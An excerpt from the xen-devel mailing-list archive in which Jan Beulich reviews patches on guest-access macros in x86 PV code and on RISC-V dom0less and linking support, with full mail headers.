     (!IS_ENABLED(GUEST_ACCESS_PV) &&    \
      is_hvm_vcpu(current)))             \

to reduce redundancy in the macros while keeping the property of my patch?

> then extended GUEST_ACCESS_HVM to:
> 
> --- a/xen/arch/x86/include/asm/guest_access.h
> +++ b/xen/arch/x86/include/asm/guest_access.h
> @@ -12,7 +12,12 @@
> Â #include <asm/hvm/support.h>
> Â #include <asm/hvm/guest_access.h>
> Â 
> -#define GUEST_ACCESS_HVM is_hvm_vcpu(current)
> +#define GUEST_ACCESS_HVMÂ  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  \
> +Â  Â  (IS_ENABLED(GA_ALWAYS_PV)Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â ? 0Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  \
> +Â  Â  Â : (IS_ENABLED(GA_ALWAYS_HVM)Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â  Â  ? 1Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â  Â \
> +Â  Â  Â  Â  : is_hvm_vcpu(current)))Â  Â  Â  Â  Â  Â  Â  Â  \
> Â 
> Â /* Raw access functions: no type checking. */
> Â #define raw_copy_to_guest(dst, src, len)Â  Â  Â  Â  \
> 
> 
> 
> to allow ways to force it one way or another.

Sure, perhaps simplified to

#define GUEST_ACCESS_HVM                        \
    (IS_ENABLED(GA_ALWAYS_PV)                   \
     ? false                                    \
     : (IS_ENABLED(GA_ALWAYS_HVM) ||            \
        is_hvm_vcpu(current)))                  \

or something yet closer to what I have in my patch. The conditional
operators aren't overly useful here.

Yet one of the RFC questions remains with this: Is there anywhere we'd
actually be able to use GA_ALWAYS_HVM?

> For forcing it one way or another, while ...
> 
>> --- a/xen/arch/x86/mm.c
>> +++ b/xen/arch/x86/mm.c
>> @@ -3407,6 +3407,9 @@ int new_guest_cr3(mfn_t mfn)
>>  #endif
>>  
>>  #ifdef CONFIG_PV
>> +
>> +#define PV_ONLY_SOURCE 1
>> +
> 
> ... mm.c is certainly complicated, others like ...
> 
>> --- a/xen/arch/x86/pv/callback.c
>> +++ b/xen/arch/x86/pv/callback.c
>> @@ -5,6 +5,8 @@
>>   * hypercall handles and helper functions for guest callback
>>   */
>>  
>> +#define PV_ONLY_SOURCE 1
>> +
>>  #include <xen/event.h>
>>  #include <xen/hypercall.h>
>>  #include <xen/guest_access.h>
>> --- a/xen/arch/x86/pv/descriptor-tables.c
>> +++ b/xen/arch/x86/pv/descriptor-tables.c
>> @@ -8,6 +8,8 @@
>>   * Copyright (c) 2004 Christian Limpach
>>   */
>>  
>> +#define PV_ONLY_SOURCE 1
>> +
>>  #include <xen/guest_access.h>
>>  #include <xen/hypercall.h>
>>  
>> --- a/xen/arch/x86/pv/shim.c
>> +++ b/xen/arch/x86/pv/shim.c
>> @@ -6,6 +6,9 @@
>>   *
>>   * Copyright (c) 2017 Citrix Systems Ltd.
>>   */
>> +
>> +#define PV_ONLY_SOURCE 1
>> +
>>  #include <xen/event.h>
>>  #include <xen/guest_access.h>
>>  #include <xen/hypercall.h>
> 
> all of these could have a general CFLAGS += in arch/x86/pv/Makefile
> rather than having to state it in every file.

A general CFLAGS += is (at least latently / conceptually) wrong in pv/,
as code there may come into play when a PVH Dom0 controls a PV DomU. Much
like a fair bit of care is needed in x86/mm.c (where we may want to try
to move some more code to x86/pv/mm.c).

I did consider this on a per-object basis and meant to put in a remark to
this effect, but then forgot. The issue I see with using this approach is
the disconnect between setting of the control (Makefile) and it being
correct to use for the particular source file (in particular when making
changes down the road). Having the #define near the top of the files has
(imo) at least slightly better chances of being noticed when opening the
file for editing.

> Naming wise, while PV_ONLY_SOURCE works in pv/, it's more dubious in
> arch/x86/mm.c.Â  GUEST_ACCESS_* at least identifies the property that's
> being decided upon.

I'm happy to see your naming used; I wasn't overly happy with my naming
choice anyway.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:28:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:28:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367488.1617230 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4tS-0007E6-Lk; Tue, 21 Jul 2026 07:27:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367488.1617230; Tue, 21 Jul 2026 07:27:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4tS-0007Dz-J8; Tue, 21 Jul 2026 07:27:58 +0000
Received: by outflank-mailman (input) for mailman id 1367488;
 Tue, 21 Jul 2026 07:27:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wm4tR-0007Dt-LR
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:27:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm4tQ-00BeQx-Rw
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:27:56 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1f6c-5cb7-0a2a0a5109dd-0a2a45088a0a-40
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:27:56 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1f7c-f659-0a2a45080019-d155dd2dd96e-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:27:56 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-47f71156e1aso1116539f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:27:56 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e496ffsm35793187f8f.3.2026.07.21.00.27.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 00:27:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784618876; x=1785223676; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=L+f3FANgQfJ7d2F0s5WKsOk0oaX5xJlsAyxOE1wB6sA=;
        b=bd4BJfAyAB0bw0TOb8JXTxmDd5v7l+tVfwfOVlsXF6YuzXYAjATANhtoSHX5QgquLp
         RgYYJnci0Mxzxhv4ZPnrIFG6LL/CwNGE++ZC5Tr5Vy5FuDjwpTTHlSoxWpiJIcWxcy1B
         jtYrJ76LhYtZ7bxjWofOfK7GsGXpcQiZHn+DdI0c/TNJnYEZJpPdY3bFeXuhSz3hBXtk
         8RU1IqNw5irViigMc5ABNkooM8dVwI8GkfyYN6Cmfv2fOMvRfP4Vaq4Jhya0lb9+FrEy
         wXneyL7B5VHypbNPYQUGGkulm5coZ3M9ABXIYWZbv+tMkaX24Nab9AgfeA4rVDT8gsMl
         9lgQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784618876; x=1785223676;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=L+f3FANgQfJ7d2F0s5WKsOk0oaX5xJlsAyxOE1wB6sA=;
        b=cB7EfRj1EZNOv3FC959BQ69IHODQ2maQLOX++je3Lab7RGMSeUYay3CQ057vjYZDAF
         brDyMwrmhwzAK3xwjGLbS5xuwXWvifl5zliqGVJRWVrxXSjMUSw0SaM3vErjUU0b1iQr
         T4C4foi1vamN3BPJH4CP6XUIQuLxBLs9bUREjqSw9QDkcA/cYXK9+romr06DkwlJqPuv
         KeVMJRfnFBCVdjPutOrWw2bcP/KGZ4FQYUwhK/Vouj1544qbJzP3FvruG0+JHdQECVyh
         hKmC2aMMiUX2AdmmW7AvW3Twq2SzXVOKpJsTyBCJvz1WI+iJjGnEMprkmW2iilU0sIjI
         k65A==
X-Forwarded-Encrypted: i=1; AHgh+RqbX/8aIeBL2ZKIDJkNjV5SmdR0nnlsuVWXz9HKsR95YRDQ2c7hghqpuWDC31jq8gKQr6cJrC/bMMI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxw3e0F7Ia0NhBdXhor83SU3Wk9VASk+eMDXyJYO0npxy5iIDy9
	fdYWOr0N4Ea3JDCNUG7hYF5rKdvCYu6vqNmvluZT25QX2nvLqL75CDIjjW8wgbzmHg==
X-Gm-Gg: AR+sD10VqYO14yuHFVpTfQec6xjcBwkyBJZTB/PZCbZ5vFda87D0uTXo+ggL1H0cSR2
	cMmiJ4+nOHGA9R4g9fEiQ5NgeWWm0SNewBYcoe0dVy1njwe7miDic4WehwFAT3xqYxUTRXirBa0
	tCfOtmliSnlvPAOdqLe5I3a5Lq81zHHufXsQCeYxu6w3vwsDIHQR1FBQFath7sTToMtSXULw7vy
	pKFzPLw70dAv9IJUGNmAQz5OnUVuAf6b+gyBfGXqXdZWrsacv2I95SrYAVktas1nCZVQNuWK/Vc
	teodC1rq+WWkqnYNc4MJOfVjuwY9PIpmDulVesmn87B9rTozSaGynBGsq10OIipHKuMuDEzMrn2
	NN4oC1lhk3oXpY7QUE2L6Vewx3IAy8BLvfjyPgmXt/CW85OpA9UGBztZcsvBZ5MLwptAg2Edv9o
	VDuge1KQkvWI0Lk6PjFq3mNtj56p0UFUx1IBfttEhg1o+OiGd7o2S2LBobyiaCzSaWq6ADUjURB
	yuP
X-Received: by 2002:a05:6000:41c2:b0:475:f100:360c with SMTP id ffacd0b85a97d-47f6234003dmr20098235f8f.59.1784618876153;
        Tue, 21 Jul 2026 00:27:56 -0700 (PDT)
Message-ID: <eab4a7b4-7e4b-4d29-a6e7-33390d587cee@suse.com>
Date: Tue, 21 Jul 2026 09:27:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 22/23] xen/riscv: add initial dom0less infrastructure
 support
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <0b381795a3a7c2d09088c1fae59d3a19099069c2.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <0b381795a3a7c2d09088c1fae59d3a19099069c2.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784618876-CE54487B-DE548BBC/10/73395122804
X-purgate-type: spam
X-purgate-size: 1649

On 20.07.2026 18:00, Oleksii Kurochko wrote:
> Enable dom0less support for RISC-V by selecting HAS_DOM0LESS and
> providing the minimal architecture hooks required by the common
> dom0less infrastructure.
> 
> Add stub implementations for architecture-specific helpers used when
> building domains from the device tree. These allow the generic
> dom0less code to build and let a basic DomU be constructed on RISC-V.
> construct_hwdom() and make_hypervisor_node() are still stubs returning
> an error: Dom0/hwdom construction isn't supported yet, and the
> hypervisor node generation (needed by domains with
> DOM0LESS_ENHANCED_NO_XS set) is not implemented. Both are marked with
> a TODO and are not reached by the currently supported configurations.
> 
> Provide missing helpers and definitions required by the domain
> construction code, including domain bitness helpers and the
> p2m_set_allocation() prototype.
> 
> Additionally define the guest magic memory region (GUEST_MAGIC_BASE /
> GUEST_MAGIC_SIZE) in asm/guest-layout.h. The base is arbitrary; the
> only constraint is that the region must not overlap guest RAM or the
> emulated device regions. It is placed in the unused gap below
> GUEST_RAM0_BASE (0x80000000); the constraints are documented next to
> the #define-s.
> 
> A separate region for grant tables will be introduced at the same time as
> the introduction of the grant table for RISC-V.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> ---
> Changes in v6:
>  - Acked-by: Jan Beulich <jbeulich@suse.com>.

Except that once you again you didn't really add the tag.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:29:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:29:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367496.1617239 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4um-0007hU-VW; Tue, 21 Jul 2026 07:29:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367496.1617239; Tue, 21 Jul 2026 07:29:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm4um-0007hN-SR; Tue, 21 Jul 2026 07:29:20 +0000
Received: by outflank-mailman (input) for mailman id 1367496;
 Tue, 21 Jul 2026 07:29:19 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wm4ul-0007hD-M9
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:29:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm4uk-00DyiM-Dm
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:29:18 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1fca-5cb7-0a2a0a5109dd-0a2a4506d29a-22
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:29:18 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f1fcd-195a-0a2a45060019-d1558035ec8f-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:29:18 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so23335575e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:29:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4955df9d2f6sm115402745e9.4.2026.07.21.00.29.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 00:29:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784618957; x=1785223757; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Vtnz3luD68OCmqpB1y1HWMU+qsD9rbohPYZJAp5DE0M=;
        b=Gmo6+fp5b5ESIIm3IpcWw1imKkq1ukkgvLSCICPE7iDsQU+5CJnXqtMFnPNhTBKfxT
         n3gBSkwl3UJoauw0gQjYo5nUHv0ZI2uYb5Po1Gzgk3+x/V+evFS/uhzUuxaYgAkWhCub
         ibaQqtfsNhQm9szzJgeaBDg2kWUweARxYfahXbZrfJJPJqPxKZNgYtU0SBA1HDw/lu6B
         E625k2bpuh2Kz85VwHB/Gf5E7QLhxRNkYsbMmVx2Du63NGdeWwMsgwLqG3B8LjfKsY8r
         c9IKOlFCfuP8yKyzFDMioitlxf4wVf9tBjbKPsj9DsxLSYPFZq5PSRwN9SLP12WGvAUE
         pm3w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784618957; x=1785223757;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Vtnz3luD68OCmqpB1y1HWMU+qsD9rbohPYZJAp5DE0M=;
        b=sH3yNKok9PW0XOK0BhX6xS3t4+LGVIuaNJ1pRhHGbb8E9qwiihg6XKr/9tZn95lFMN
         iEIOaqaRbMVv8bozcUjbjwVF+N28fijFyzWo+X2YwwG43ObCu8XTfGH13X3zOUgtmU3Q
         Dx77Mk4i4bOfrPpTJjD1xrjXzzdoVCjDGY9F0bU6e0JCduTvQ8kXzo9NUypZxyyOwaCP
         Wvv9UB5SDDNWcgtl/Uh64QXAsbyris48/v+t2bx8nkUwPH6eSPWBwSwVwD8zQva6FvZt
         RcT7MuEQOvMN4hA3AOcR5CRdbGXPAwLaUc4EPKy5VqkkFGeeKd9vhKCuTYiGEI+GLaEW
         XBDQ==
X-Forwarded-Encrypted: i=1; AHgh+Rpe7ul56BQiZ2LV9EQ2sZGOVO0ubt0oUB/rVscz11RcNtMfgHoI0BEdpOUxoTnNPkQ1lz3vzvNBBw8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzJwV04UdXvFtxM1aKcz7f6glijOwsyVg8WN1m0VeTdwIb6U7VI
	7mDyB2qlXAgy0ZvKvL6yVKYVoqqVG5A9EavQdbFobj7f2JIMXlC0uY0iW1KfcgoIEQ==
X-Gm-Gg: AfdE7ckaiup2fObXzq84PaDncgsGqtww6jQU21dQLw4FmItn+AeoXcWXGnHPiRdBI7R
	4nKoXSBDDY7/M9CQm98waqSHX29bxDKZigL6RN7BJlYSK7q/+1POdV4KScC6W9q9/xiFjK7mweg
	8g5dEPAA3+MlRFFAhUxTAj0725SFcd+xzYZcYsMwQXd2mv4wPf8rtS5MFYQIkiETYb6oxPh3az4
	NN1qW5MZ2urs5LStOgVEHGg2sPztn5jxWOpqVEOd3rpwr2rWKOFNcIjNuV1hvAez063mxew4FxN
	eLWoWxSh5TXZD7xZ2kVfyzi+ygLGz66tPN1GdGvGSwi2BhfDWAIblYr7jO+m9FNeXW6zSL0smt7
	7KS8tvLhc4xHKScXXdly2kxXmia9sR6ja3cKED7x63UvmhZca/LXgzAPuOeVbOjQKvadU9E+3uK
	OulCl2F3JHaUAIF5YT6OGp/QPS5T7sKK5w3hZwTLKpzEv4iTQ7sOxJr6QGHzpWfqvKZw==
X-Received: by 2002:a05:600c:630e:b0:495:4856:2659 with SMTP id 5b1f17b1804b1-4954a3db6b0mr193931585e9.9.1784618957594;
        Tue, 21 Jul 2026 00:29:17 -0700 (PDT)
Message-ID: <f36c1688-52a5-4dd4-af7e-479dc77d18e1@suse.com>
Date: Tue, 21 Jul 2026 09:29:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 23/23] xen/riscv: do a 4th linking pass if necessary
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <ff85121d7aea88f5e1e8eec729a11512f22c168c.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptr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Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ff85121d7aea88f5e1e8eec729a11512f22c168c.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1784618958-F647377B-7C54E42E/10/73395122804
X-purgate-type: spam
X-purgate-size: 919

On 20.07.2026 18:00, Oleksii Kurochko wrote:
> Embedding the symbol table can shift sections and flip relaxation
> decisions, changing code size and thus the set of emitted tools/symbols
> (e.g. gap end markers).  Re-link with a regenerated table when its
> size differs from the previous pass.
> 
> This takes the same remedy as commit 35de7285d508 ("Arm: do a 4th
> linking pass if necessary"), though the underlying cause differs:
> here no symbol (dis)appears from the ELF symbol table; instead the
> set of end markers emitted by tools/symbols legitimately changes,
> because want_symbol_end() depends on code layout, and layout differs
> between passes due to linker relaxation.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>

And I think there's no dependency on earlier patches, so this could go
in pretty much right away?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:34:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:34:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367506.1617247 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm501-0000y3-Jc; Tue, 21 Jul 2026 07:34:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367506.1617247; Tue, 21 Jul 2026 07:34:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm501-0000xw-Gh; Tue, 21 Jul 2026 07:34:45 +0000
Received: by outflank-mailman (input) for mailman id 1367506;
 Tue, 21 Jul 2026 07:34:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wm500-0000xq-BA
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:34:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm4zz-003XvT-KX
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:34:43 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5f2104-5cb7-0a2a0a5109dd-0a2a45079cd2-36
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:34:43 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
